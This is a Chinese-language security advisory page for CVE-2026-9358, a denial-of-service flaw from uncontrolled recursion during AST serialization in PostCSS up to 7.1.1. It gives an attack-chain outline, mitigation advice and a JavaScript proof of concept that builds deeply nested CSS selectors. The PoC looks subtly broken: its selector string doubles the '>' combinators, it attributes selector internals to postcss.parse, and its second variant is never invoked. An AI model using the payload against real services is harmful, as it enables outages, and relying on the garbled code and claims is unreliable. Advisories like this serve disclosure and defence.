IPBUF安全漏洞报告
English
CVE-2026-9358 CVSS 4.3 中危

PostCSS 7.1.1及之前版本AST序列化不受控递归拒绝服务漏洞

披露日期: 2026-05-24

漏洞信息

漏洞编号
CVE-2026-9358
漏洞类型
拒绝服务(DoS)/不受控递归
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
postcss

相关标签

拒绝服务不受控递归PostCSSAST序列化CSS注入CVE-2026-9358中危漏洞Node.js

漏洞概述

PostCSS 7.1.1及之前版本存在一个拒绝服务漏洞,该漏洞位于AST(抽象语法树)序列化组件的src/selectors/container.js文件中的toString函数。攻击者可以通过构造恶意的CSS输入触发该函数中的不受控递归(uncontrolled recursion),导致服务器资源耗尽,从而造成拒绝服务攻击。此漏洞的CVSS评分为4.3,属于中等严重程度。攻击向量为网络可访问,攻击者无需认证即可发起攻击,但需要用户交互(如访问包含恶意CSS的网页)。由于PostCSS广泛应用于前端构建工具、CSS预处理器和各种Web开发框架中,此漏洞可能影响大量依赖PostCSS进行CSS处理的应用系统。供应商表示,根据其定义,用户生成的CSS在服务器端造成的DoS风险较低(因为大多数用户使用PostCSS编译自己的CSS),因此未将此漏洞视为高优先级问题。然而,对于处理不可信用户输入的应用程序,此漏洞仍可能造成严重影响。

技术细节

该漏洞的根本原因在于PostCSS的AST序列化过程中,toString函数在处理特定CSS选择器结构时存在递归调用问题。当解析包含特殊构造的CSS选择器时,toString函数会递归调用自身而没有适当的终止条件或递归深度限制。具体来说,src/selectors/container.js文件中的toString方法在序列化容器节点时,会遍历子节点并调用其toString方法。如果攻击者构造一个嵌套层数极深的CSS选择器结构,或者包含循环引用的选择器,toString函数将陷入无限递归状态。攻击者可以通过上传恶意CSS文件、在网页中嵌入恶意CSS代码,或通过API接口提交恶意CSS数据等方式触发此漏洞。成功利用此漏洞可导致Node.js进程内存溢出、CPU占用率飙升,最终造成服务不可用。由于该漏洞影响服务器端的CSS编译过程,对于使用PostCSS处理用户提交CSS内容的应用(如在线CSS编辑器、CSS验证服务、自动化构建系统等)威胁较大。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标应用是否使用PostCSS处理CSS内容,检查postcss版本是否在受影响范围内(<=7.1.1)
STEP 2
步骤2: 恶意载荷构造
攻击者构造包含深层嵌套选择器或特殊构造的恶意CSS代码,用于触发src/selectors/container.js中toString函数的不受控递归
STEP 3
步骤3: 载荷投递
通过文件上传、API接口提交、网页嵌入或供应链攻击等方式将恶意CSS载荷投递到目标系统
STEP 4
步骤4: 漏洞触发
目标系统使用PostCSS解析并尝试序列化恶意CSS时,toString函数执行递归调用,由于缺少深度限制导致栈溢出或资源耗尽
STEP 5
步骤5: 拒绝服务
成功触发漏洞后,Node.js进程崩溃或CPU/内存资源被耗尽,导致应用服务不可用

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-9358 PoC - PostCSS Uncontrolled Recursion DoS // This PoC triggers uncontrolled recursion in postcss toString function const postcss = require('postcss'); // Generate deeply nested selector to trigger recursion function generateNestedSelector(depth) { let selector = '.root'; for (let i = 0; i < depth; i++) { selector = selector + ' > .nested-' + i + ' > '; } selector = selector + '.target'; return selector; } // Alternative PoC with circular reference simulation function generateRecursiveCSS() { // Generate CSS with deeply nested selectors const nestedSelector = generateNestedSelector(10000); return `${nestedSelector} { color: red; }`; } try { console.log('Starting PoC for CVE-2026-9358...'); console.log('Generating malicious CSS payload...'); const maliciousCSS = generateRecursiveCSS(); console.log('CSS payload length:', maliciousCSS.length); console.log('Attempting to parse malicious CSS...'); const result = postcss.parse(maliciousCSS); console.log('Attempting to stringify result (this will trigger recursion)...'); const output = result.toString(); console.log('PoC execution completed without crash (increase nesting depth)'); } catch (error) { console.log('PoC triggered vulnerability!'); console.log('Error:', error.message); } // Additional PoC variant for selector container recursion const postcss2 = require('postcss'); const selectorParser = require('postcss-selector-parser'); function pocVariant2() { const root = postcss2.parse('.a { color: red; }'); const processor = selectorParser((selectors) => { // Create self-referencing or deeply nested structure selectors.walk((selector) => { // Modify selector to create potential recursion selector.append(selector.clone()); }); }); try { root.walkDecls((decl) => { processor.process(decl.parent.selector).then(result => { console.log('Selector processed'); }); }); } catch (e) { console.log('Variant 2 triggered error:', e.message); } }

影响范围

postcss <= 7.1.1

防御指南

临时缓解措施
在官方修复版本发布之前,可采取以下临时缓解措施:1) 对所有用户提交的CSS内容进行严格的输入验证,限制选择器嵌套深度和复杂度;2) 为PostCSS解析和序列化操作设置超时限制,防止进程无限挂起;3) 限制CSS文件上传大小和内容长度;4) 使用内容安全策略(CSP)限制外部CSS加载;5) 在反向代理层实施速率限制,防止恶意请求频繁触发漏洞;6) 监控服务器资源使用情况,及时发现异常行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表